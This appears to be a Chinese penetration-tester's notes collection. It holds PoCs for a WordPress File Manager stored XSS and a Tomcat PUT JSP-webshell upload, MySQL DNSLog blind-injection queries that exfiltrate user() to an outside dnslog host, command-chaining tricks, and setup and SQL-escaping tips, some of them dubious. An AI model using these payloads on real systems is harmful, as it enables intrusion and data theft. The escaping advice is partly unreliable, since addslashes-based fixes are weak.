PHP htmlspecialchars不转义单引号只转义双引号

PHP htmlspecialchars不转义单引号只转义双引号,测试代码如下:

<?php
echo "原生:".$_GET['test']."<br>";
echo "htmlspecialchars:".htmlspecialchars($_GET['test'])."<br>"; //不转义单引号,转义其他特殊字符
echo "addslashes:".addslashes($_GET['test'])."<br>"; //转义单引号
echo "ADD:".addslashes(htmlspecialchars($_GET['test']));//合并

在处理sql注入时,使用单引号闭合的,用htmlspecialchars函数没用,应该用addslashes函数转义单引号,两个一起用修复sql注入和xss漏洞。

CVE-2018-16363 WordPress Plugin File Manager 2.9 – storage XSS

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16363

file:file_folder_manager.php
code:set_transient( ‘wp_fm_lang’, $_GET[‘lang’] , 60 60 720 );

file:lib\wpfilemanager.php
code:var fmlang = ““;

poc:

request

[code]
GET /blog/wp-admin/admin.php?page=wp_file_manager&lang=zh_CN<script>alert(1234567890)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: wordpress_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C71f1ed8075d5a34b82548bb0a92e6b6338ecf8fba0adc57da627d55f07693220; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C5fbc26f57a4eaf15c60c5840d5fa14f296e3bb1c66e567358d761a3963d1bb82; wp-settings-1=deleted; wp-settings-time-1=1535770900; PHPSESSID=501108188d8569138517f08ba9741c92
Connection: close
Upgrade-Insecure-Requests: 1
[/code]

response

[code]
HTTP/1.1 200 OK
Date: Sat, 01 Sep 2018 15:55:34 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47316



………”;var vle_nonce = “863ad12aa7”;………
[/code]

Exploit Title: WordPress Plugin File Manager 2.9 – storage type XSS
Exploit Author: ly55521
Google Dork: N/A
Type: XSS
Date: 2018-09-02
Vendor Homepage: N/A
Software Link: https://wordpress.org/plugins/wp-file-manager/
Affected Version: < 3.0
Tested on: Kali OS
CVE : CVE-2018-16363

Related links:

Update record: http://plugins.trac.wordpress.org/changeset/1936043
EXP: http://blog.51cto.com/010bjsoft/2171087
Loophole notification: https://wordpress.org/support/topic/security-concern-6/#post-10655739
safelink:https://wordpress.org/plugins/wp-file-manager/

CVE-2017-12615【tomcat错误配置,任意文件上传】

一. 漏洞简介

漏洞名称:CVE-2017-12615  “远程代码执行漏洞”

漏洞描述:Tomcat CVE-2017-12615远程代码执行漏洞 / CVE-2017-12616信息泄漏。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响版本:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 – 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 – 7.0.79

漏洞评级:高危

影响范围:RT
 
 
参考链接:
CVE-2017-12615:
https://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81

二. 利用条件

CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
根据绿盟最新研究在linux下也有影响,建议关闭PUT方法。

三. 漏洞测试

3.1白盒测试

开发人员检查是否使用受影响范围内的Apache Tomcat版本

3.2黑盒测试

1.首先搭建tomcat环境,需要预装下jdk,安装流程和配置参考:
http://www.ouyaoxiazai.com/soft/stgj/133/45254.html
搭建成功后,访问 http://10.74.53.11:8080/
2.开启PUT方法
安装好后,修改 C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false

3.然后使用burpsuite抓包把GET方法转为PUT方法写入数据,如下:

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/

写入成功后,在服务器的 web目录,如下
C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT增加了test.jsp文件

4.访问上传的木马 http://10.74.53.11:8080/test.jsp?pwd=023&i=whoami

复现参考:https://www.secfree.com/article-399.html
POC&EXP参考:
https://github.com/fupinglee/MyPython/blob/92394ff98b02c1d81361ce2d5ae9f53f527a2a6b/exploit/CVE-2017-12615/CVE-2017-12615.py?from=groupmessage&isappinstalled=1

3.3其他补充

其他

四. 解决方案

根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数,禁用PUT方法并重启tomcat,临时规避安全风险,升级为最新版本;
注意: 如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
官方已经发布Apache Tomcat 7.0.81 版本修复了两个漏洞建议升级最新版。

Centos 安装 phpstudy

下载版:http://lamp.phpstudy.net/phpstudy.bin
完整版:http://lamp.phpstudy.net/phpstudy-all.bin

#安装:
wget -c http://lamp.phpstudy.net/phpstudy.bin
chmod +x phpstudy.bin #权限设置
./phpstudy.bin     #运行安装

如何切换php版:
假如你先安装的apache+php5.3
想切换成nginx+php5.4
你就再走一次./phpstudy.bin
但是你会发现有一行是否安装mysql提示选不安装
这样只需要编译nginx+php5.4
从而节省时间,这样只需要几分钟即可。

使用说明:

服务进程管理:phpstudy (start|stop|restart|uninstall)
站点主机管理:phpstudy (add|del|list)
ftpd用户管理:phpstudy ftp (add|del|list)

安装完后,mysql默认账户密码都是root
#http://lamp.phpstudy.net/
======================================================================

phpmyadmin登陆一闪而过的问题
#https://www.lvtao.net/server/php-phpmyadmin-session-path.html

1、在php.ini 找到session.save_path 这一行,设成session.save_path = “/home/webserver/php/session”,并把前面的分号去掉。
以上的/home/webserver/php/session/根据你实际情况设定。(也或者设置目录为/tmp/)
2、修改此目录的权限和属主:
# chown -R www:www /home/webserver/php/session
(nobody权限很低,最好设置它为web运行账户!)
# chmod 777 /home/webserver/php/session
(session目录至少设置770权限以上,否则phpmyadmin登录会有问题。)
3、重启php-fpm服务:service php-fpm restart

之后phpmyadmin就可以正常登陆,连接mysql数据库了
导致上述问题和一些与php程序相关的错误(如php不保存session),原因在于:没有给php设置session的临时目录!
今天发现系统时间出错也会出现这个问题!如果按照上面的步骤修改之后还不能登录,请把系统时间修改正确!误差要在一分钟之内!

======================================================================

访问 wordpress 文章 出现 404 Not Found
开启Mod_rewrite模块方法:
1、直接打开\conf\httpd.conf
2、搜索 LoadModule rewrite_module modules/mod_rewrite.so (可能版本不一样这个不一样,不过Apache2都是这个),去掉前面的#
3、搜索AllowOverride None 替换为 AllowOverride All
#http://www.cnblogs.com/wuyinghong/p/3928564.html

php,python使用%s,%d修复sql注入漏洞

原以为底层%s格式化字符串和pdo实现类似,实际测试了下不是一回事。

php测试代码

//$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql = sprintf("SELECT * FROM users WHERE id='%s' LIMIT 0,1",$id);//%d 可以修复
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

web.py测试代码

import web
import MySQLdb
urls = (
    #'/', 'index' #1,2
    '/(.*?)', 'index'
)
class index:
    def GET(self,name):
        parame = web.input()
        conn = MySQLdb.connect(
        host = 'localhost',
        user = 'root',
        passwd = 'root',
        db = 'security',
        port = 3306,
        charset ='utf8',
        )
        cur = conn.cursor()
        #SELECT * FROM users where id=1
        #sqli_select = "SELECT password FROM users WHERE id = '%s'" % (parame.name) #错误写法
        #sqli_select = ("SELECT password FROM users WHERE id = '%s'",(parame.name)) #正确写法,使用元祖传给execute函数
        sqli_select = "SELECT password FROM users WHERE id = '%d'" % (parame.name) #正确写法
        cur.execute(sqli_select)
        return cur.fetchone()            
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

PDO预编译方式是分为两次发送数据,一次sql模版, 一次参数防止sql注入。

命令执行时 管道符 | 和 & 的区别

管道符区别:
“|” :仅能处理最后面一个指令传出的正确输出信息;
“&” :能处理所有指令传出的正确输出信息;

C:\Windows\system32>echo 1 | echo 2
2

C:\Windows\system32>echo 1 & echo 2
1
2

区别是在命令执行时,当传入的参数拼接前后都有命令的话,使用|不会返回中间的命令结果

mysql注入之dnslog盲注加速

#拼接域名
select concat(version(),’.0535code.com’) #返回 5.5.53.0535code.com

#注意
1.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。
2.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。

#读取文件时会解析dns协议
load_file()

#使用T00ls dnslog,或者自己找别的。
您的查询记录是t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org(怎么使用,自己领悟)
#测试
ping t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org

mysql特殊性

#启动apache
D:\phpStudy\Apache\bin\httpd.exe

#启动mysql 5.5.53之后版本,5.5.53之前的版本不需要
D:\phpStudy\MySQL\bin>mysqld.exe –secure-file-priv=
或者配置文件my.ini加入 secure-file-priv=

#构造exp
SELECT LOAD_FILE(CONCAT(‘\\\\’,(select hex(user())),’.t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org\\abc’))

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
select count(*) from information_schema.schemata #返回数据库数量
database() #返回数据库名
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名